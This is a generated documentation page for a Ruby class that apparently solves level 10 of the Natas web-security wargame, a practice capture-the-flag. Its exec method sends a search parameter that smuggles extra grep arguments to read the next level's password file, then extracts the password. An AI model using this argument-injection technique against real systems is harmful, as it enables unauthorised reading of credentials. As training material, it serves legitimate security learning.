Class: NatasLevel10
- Inherits:
-
NatasLevelBase
- Object
- NatasLevelBase
- NatasLevel10
- Defined in:
- lib/natas.rb
Overview
Level 10
Constant Summary collapse
- LEVEL =
10
Constants inherited from NatasLevelBase
NatasLevelBase::HOST, NatasLevelBase::LOGIN, NatasLevelBase::PASSWORD_LENGTH, NatasLevelBase::PORT, NatasLevelBase::WEBPASS
Instance Attribute Summary
Attributes inherited from NatasLevelBase
Instance Method Summary collapse
Methods inherited from NatasLevelBase
#get, #initialize, #level, #post
Constructor Details
This class inherits a constructor from NatasLevelBase
Instance Method Details
#exec ⇒ Object
317 318 319 320 321 322 323 324 325 326 327 328 |
# File 'lib/natas.rb', line 317 def exec data = get( "/?#{URI.encode_www_form( { 'needle' => "'' -m 1 #{WEBPASS}/natas11" } )}" ).body match = /natas11:(\w{32})\n/.match(data) not_found unless match found(match[1]) end |